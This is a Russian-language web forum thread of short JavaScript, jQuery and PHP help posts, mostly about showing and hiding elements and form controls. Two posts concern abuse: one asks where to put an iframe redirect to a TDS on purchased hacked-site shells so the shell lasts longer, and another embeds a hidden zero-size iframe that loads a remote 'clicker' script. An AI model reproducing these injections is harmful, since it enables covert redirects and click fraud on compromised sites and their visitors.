Без конкретной страницы тебе будет трудно помочь. Скинь или в лс, или сюда линк на страницу с данным шаблоном.
Что-то типо такого: PHP: <script type="text/javascript"> function showHide(htm1Element) { if(htm1Element.style.display== 'none') { htm1Element.style.display=''; htm1Element.style.background='#D1DAE0'; } else { htm1Element.style.display='none'; htm1Element.style.background='#F0F3F5'; } } </script> <div id="md872" class="modBlock1" style="..." onclick="return showHide(this);".......... ПС только ты его не восстановишь, потому как второго клика не будет ибо он в none. Лучше вложи внутрь слой с уникальным id и передавай его id.
как сделать 2 формы текстовые и 2 пары стрелочек что бы они друг другу не ебли мозги, что то невкурил, делаю 2ую пару и стрелки работают на 2их, обе пары. спасибо PHP: <form metod="get" action='auto.php'> <?$al = $_COOKIE['num']; $link = ("<input type='text' id='text' onkeydown='test(event)' name='P' value='$al'>"); echo $link; ?> <br /> <input type="button" value="<<" onclick="cl('minus')"><input type="button" value=">>" onclick="cl('plus')"> <input type="submit" value="Отправить"> <br> <script> document.getElementById("text").focus(); var selector = document.getElementById("text"); function test(e){ if(e) { if(e.keyCode == 37) selector.value--; if(e.keyCode == 39) selector.value++; } } function cl(e){ if(e==='minus') selector.value--; if(e==='plus') selector.value++; } </script>
Здравствуйте. Подскажите пожалуйста - нужно, чтоб при обновлении страницы фон div'а каждый раз загружался заново, а не кеш из браузера. Div имеет вид HTML: <div style="background: url(/imgs/img.png);" class="img" onmouseover="this.style.backgroundPosition='80px 0px'" onmouseout="this.style.backgroundPosition='0px 0px'"></div> Заранее благодарю.
Опыта мало тока подался в тему трафика помогите советом закупился шелами (забугорными) как правльно вставить ифрейм с редиректом(куда лучше вставлять) на тдс что бы шелл жил продолжительное время Отблагодарю заранее спасибо)
Есть скрипт разворачивания/сворачивания текста. Помогите сделать так, чтобы изначально он был развернут. Заранее благодарен. Code: <script type="text/javascript"> $(document).ready(function(){ $('.view-source .hide').hide(); $('.view-source .shadow').toggle( function(){ $(this).siblings('.hide').stop(false, true).slideDown(500); $(this).html('Скрыть'); }, function(){ $(this).siblings('.hide').stop(false, true).slideUp(500); $(this).html('Показать'); } ); }); </script> <div class="view-source"> <div style="display: none;" class="hide nocookies">Текст</div> <div class="shadow">Показать</div> </div>
убрать: HTML: $('.view-source .hide').hide(); HTML: <div style="display: none;" class="hide nocookies">Текст</div> переделать в: HTML: <div class="hide nocookies">Текст</div>
Melfis, спасибо. Все работает, но сворачивается со второго раза. Исправил, поменяв местами эти строчки: Code: <script type="text/javascript"> $(document).ready(function(){ $('.view-source .shadow').toggle( function(){ [COLOR=Red]$(this).siblings('.hide').stop(false, true).slideUp(500); $(this).html('Показать');[/COLOR] }, function(){ [COLOR=Red]$(this).siblings('.hide').stop(false, true).slideDown(500); $(this).html('Скрыть');[/COLOR] } ); }); </script>
такая трабла на хосте скипт(кликер)- x.x.x.x/index.php Сую в страницу такое: Code: <iframe src="x.x.x.x/index.php" width="0" height="0" frameborder="0">< - все норм скипт грузит браузер и робит пока посетитель страницу не закроет. хочу тоже но через js сую: Code: <script type="text/javascript"> document.write("[CODE]<script src='x.x.x.x/index.php'></script>"); </script> и ничего хорошего не выходит, незнаю как выражить правильно браузер как будто один раз загружает скипт и все хотя скрипт дает каждую секунду новые данные.Насколько я понял это конструкция [CODE]<script src='x.x.x.x/index.php'></script>"); </script> так работает пытался заменить на это- Code: <script type="text/javascript"> document.write("<iframe src="x.x.x.x/index.php" width="0" height="0" frameborder="0">"); </script> Но вообще отказалось работать.
где имя функции? если это анонимная функция то нужно присвоить его к переменной, потом запустить его или сразу запустить после обявления Code: wtf = function(){ var sc=document.createElement("SCRIPT"); sc.src="http://выава/scr.js"; document.getElementsByTagName('body')[0].appendChild(sc); }[COLOR=Red]();[/COLOR]
jquery $('html').on('click', '.spoofLink', function(click) { как сделать реакцию не на клик, а просто вызов по загрузке как в обычном js - онлоадом или маусовером
не очень понятно суть вопроса если хотите запустить код сразу после загрузки документа то $(document).ready(function() { /* тут код */ }); Или так $(function() { /* код тут */ });
не по вопросу, но к сведению: приведённая конструкция будет работать медленнее, чем $('selector').on('click', callback); т.к. в первом случае слушается весь дом - происходит всплытие (bubbling) собития от места клика и на каждом элементе проверяется селектор .spoofLink. Ну это я так в качестве просвещения и из-за нелюбви к ливу(live - старый метод в жк) )